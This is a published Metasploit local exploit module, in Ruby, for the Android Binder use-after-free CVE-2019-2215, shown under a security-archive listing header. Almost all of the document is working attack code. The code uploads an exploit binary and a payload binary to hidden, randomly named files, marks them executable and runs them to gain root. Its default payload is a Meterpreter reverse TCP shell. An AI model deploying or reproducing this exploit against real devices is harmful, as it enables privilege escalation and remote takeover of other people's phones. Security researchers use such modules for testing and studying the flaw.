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Android Binder Use-After-Free

Android Binder Use-After-Free
Posted Feb 24, 2020
Authored by Jann Horn, timwr, Maddie Stone, grant-h | Site metasploit.com

Android Binder use-after-free exploit.

tags | exploit
advisories | CVE-2019-2215
MD5 | b8930f3f9adad2325c20b748158a44e3

Android Binder Use-After-Free

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Common
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info={})
super( update_info( info, {
'Name' => "Android Binder Use-After-Free Exploit",
'Description' => %q{
},
'License' => MSF_LICENSE,
'Author' => [
'Jann Horn', # discovery and exploit
'Maddie Stone', # discovery and exploit
'grant-h', # Qu1ckR00t
'timwr', # metasploit module
],
'References' => [
[ 'CVE', '2019-2215' ],
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1942' ],
[ 'URL', 'https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/' ],
[ 'URL', 'https://github.com/grant-h/qu1ckr00t/blob/master/native/poc.c' ],
],
'DisclosureDate' => "Sep 26 2019",
'SessionTypes' => [ 'meterpreter' ],
'Platform' => [ "android", "linux" ],
'Arch' => [ ARCH_AARCH64 ],
'Targets' => [[ 'Auto', {} ]],
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp',
'WfsDelay' => 5,
},
'DefaultTarget' => 0,
}
))
end

def upload_and_chmodx(path, data)
write_file path, data
chmod(path)
register_file_for_cleanup(path)
end

def exploit
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2019-2215", "exploit" )
exploit_data = File.read(local_file, {:mode => 'rb'})

workingdir = session.fs.dir.getwd
exploit_file = "#{workingdir}/.#{Rex::Text::rand_text_alpha_lower(5)}"
upload_and_chmodx(exploit_file, exploit_data)
payload_file = "#{workingdir}/.#{Rex::Text::rand_text_alpha_lower(5)}"
upload_and_chmodx(payload_file, generate_payload_exe)

print_status("Executing exploit '#{exploit_file}'")
result = cmd_exec("echo '#{payload_file} &' | #{exploit_file}")
print_status("Exploit result:\n#{result}")
end
end

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